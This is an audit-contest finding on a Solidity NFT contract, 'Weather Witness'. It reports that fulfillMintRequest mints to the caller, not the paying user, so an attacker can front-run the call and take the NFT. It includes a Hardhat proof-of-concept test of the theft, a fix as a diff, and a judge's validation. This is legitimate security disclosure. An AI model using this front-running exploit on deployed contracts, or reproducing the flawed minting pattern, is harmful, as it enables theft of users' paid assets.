Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

NFT Theft via Front-Runnable Minting

Incorrect NFT Recipient in Minting Process + Theft of NFT

Description

  • Normal Behavior: A user pays to request an NFT mint. Upon oracle fulfillment, the user calls a function to receive their NFT.

  • Specific Issue: The fulfillMintRequest function mints the NFT to msg.sender (the caller of fulfillMintRequest) instead of the original user who paid for the mint. An attacker can monitor for oracle responses and call fulfillMintRequest before the legitimate user, stealing the NFT.

// Root cause in WeatherNft.sol
function fulfillMintRequest(bytes32 requestId) external {
// ...
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId]; // Original user is _userMintRequest.user
// ...
@> _mint(msg.sender, tokenId); // Mints to caller of fulfillMintRequest, not _userMintRequest.user
// ...
}

Risk

Likelihood: High

  • The necessary requestId is publicly emitted.

  • Attackers can easily monitor and front-run the legitimate user's transaction.

Impact: Critical

  • The original paying user loses their funds and does not receive the NFT.

  • Attackers acquire NFTs for free (gas cost only).

Proof of Concept

  • Victim calls requestMintWeatherNFT(), pays, and requestId is emitted.

  • Oracle calls fulfillRequest(requestId, ...) with data.

  • Attacker, seeing the requestId and oracle response, calls fulfillMintRequest(requestId) before the victim.

  • Attacker receives the NFT. Victim receives nothing.

// test/WeatherNft_PoC_Theft.test.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("WeatherNft - NFT Theft Vulnerability PoC", function () {
let WeatherNftFactory;
let weatherNft;
let owner, victim, attacker;
const pincode = "90210";
const isoCode = "US";
let mintPrice;
const firstTokenId = 1; // s_tokenCounter starts at 1
beforeEach(async function () {
[owner, victim, attacker] = await ethers.getSigners();
WeatherNftFactory = await ethers.getContractFactory("WeatherNft");
// --- Simplified Constructor Arguments for PoC ---
const weathers = [0, 1, 2, 3, 4, 5]; // Enum Weather values
const weatherURIs = [
"ipfs://sunny", "ipfs://cloudy", "ipfs://rainy",
"ipfs://thunder", "ipfs://windy", "ipfs://snow"
];
// For FunctionsClient constructor, router can be any address.
// The owner will call fulfillRequest directly (allowed by ConfirmedOwner)
const functionsRouter = owner.address;
const functionsConfig = {
source: "request.data.args[0]", // Dummy JS source
encryptedSecretsURL: ethers.utils.toUtf8Bytes("0x"), // Dummy empty bytes
subId: 1,
gasLimit: 300000,
donId: ethers.utils.formatBytes32String("donId-1")
};
mintPrice = ethers.utils.parseEther("0.01");
const stepIncreasePerMint = ethers.utils.parseEther("0.001");
const linkToken = ethers.constants.AddressZero; // Not testing LINK functionality here
const keeperRegistry = ethers.constants.AddressZero;
const keeperRegistrar = ethers.constants.AddressZero;
const upkeepGaslimit = 200000;
weatherNft = await WeatherNftFactory.deploy(
weathers,
weatherURIs,
functionsRouter,
functionsConfig,
mintPrice,
stepIncreasePerMint,
linkToken,
keeperRegistry,
keeperRegistrar,
upkeepGaslimit
);
await weatherNft.deployed();
});
it("Attacker should be able to steal an NFT by front-running fulfillMintRequest", async function () {
// 1. Victim requests to mint an NFT and pays the price
const victimTx = await weatherNft.connect(victim).requestMintWeatherNFT(
pincode,
isoCode,
false, // registerKeeper
0, // heartbeat
0, // initLinkDeposit
{ value: mintPrice }
);
const receipt = await victimTx.wait();
// Extract the requestId from the event
const event = receipt.events.find(e => e.event === "WeatherNFTMintRequestSent");
expect(event, "WeatherNFTMintRequestSent event not found").to.exist;
const requestId = event.args.reqId;
// 2. Simulate Oracle fulfilling the request
// The contract owner can call fulfillRequest due to ConfirmedOwner inheritance in FunctionsClient
const weatherDataEnum = 0; // Sunny
const responseBytes = ethers.utils.defaultAbiCoder.encode(["uint8"], [weatherDataEnum]);
const errorBytes = ethers.utils.toUtf8Bytes(""); // No error
await weatherNft.connect(owner).fulfillRequest(requestId, responseBytes, errorBytes);
// Sanity check: ensure the response is stored (optional)
const mintResponse = await weatherNft.s_funcReqIdToMintFunctionReqResponse(requestId);
expect(mintResponse.response).to.equal(responseBytes);
// 3. Attacker sees the requestId and the oracle fulfillment,
// then calls fulfillMintRequest before the victim
console.log(`Attacker (${attacker.address}) attempting to mint for requestId: ${requestId}`);
await expect(weatherNft.connect(attacker).fulfillMintRequest(requestId))
.to.emit(weatherNft, "WeatherNFTMinted")
.withArgs(requestId, attacker.address, weatherDataEnum); // Attacker is the msg.sender
// 4. Verify Attacker owns the NFT
expect(await weatherNft.ownerOf(firstTokenId)).to.equal(attacker.address);
// 5. Verify Victim does NOT own the NFT
// If victim tried to call fulfillMintRequest now, s_tokenCounter would have incremented,
// and they might get a *new* token (e.g., tokenId 2), but tokenId 1 is stolen.
// Or, if request was cleared, it would revert.
// For this PoC, showing attacker owns firstTokenId is sufficient.
await expect(weatherNft.ownerOf(firstTokenId)).to.not.equal(victim.address);
console.log(`NFT with ID ${firstTokenId} minted to attacker: ${attacker.address}`);
console.log(`Victim (${victim.address}) paid but did not receive NFT ID ${firstTokenId}.`);
});
});

To run this PoC:

  1. Save the code above as test/WeatherNft_PoC_Theft.test.js (or similar) in your Hardhat project.

  2. Make sure your WeatherNft.sol and WeatherNftStore.sol are in the contracts directory.

  3. Run from your terminal: npx hardhat test ./test/WeatherNft_PoC_Theft.test.js

You should see the test pass, demonstrating that the attacker successfully acquired tokenId 1, even though the victim paid for it. The console logs will also highlight who received the NFT.

Recommended Mitigation

The fulfillMintRequest function has been updated to ensure the NFT is minted to the original user who initiated and paid for the mint request (_userMintRequest.user), rather than the caller of fulfillMintRequest (msg.sender). This change correctly assigns NFT ownership and prevents an attacker from front-running the legitimate minter to steal the NFT. The corresponding event emission for WeatherNFTMinted has also been updated to reflect the correct recipient.

// In WeatherNft.sol
function fulfillMintRequest(bytes32 requestId) external {
// ...
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
// ...
emit WeatherNFTMinted(
requestId,
- msg.sender,
+ _userMintRequest.user,
Weather(weather)
);
- _mint(msg.sender, tokenId);
+ _mint(_userMintRequest.user, tokenId); // Mint to the original requester
// ...
}
Updates

Appeal created

bube Lead Judge 23 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.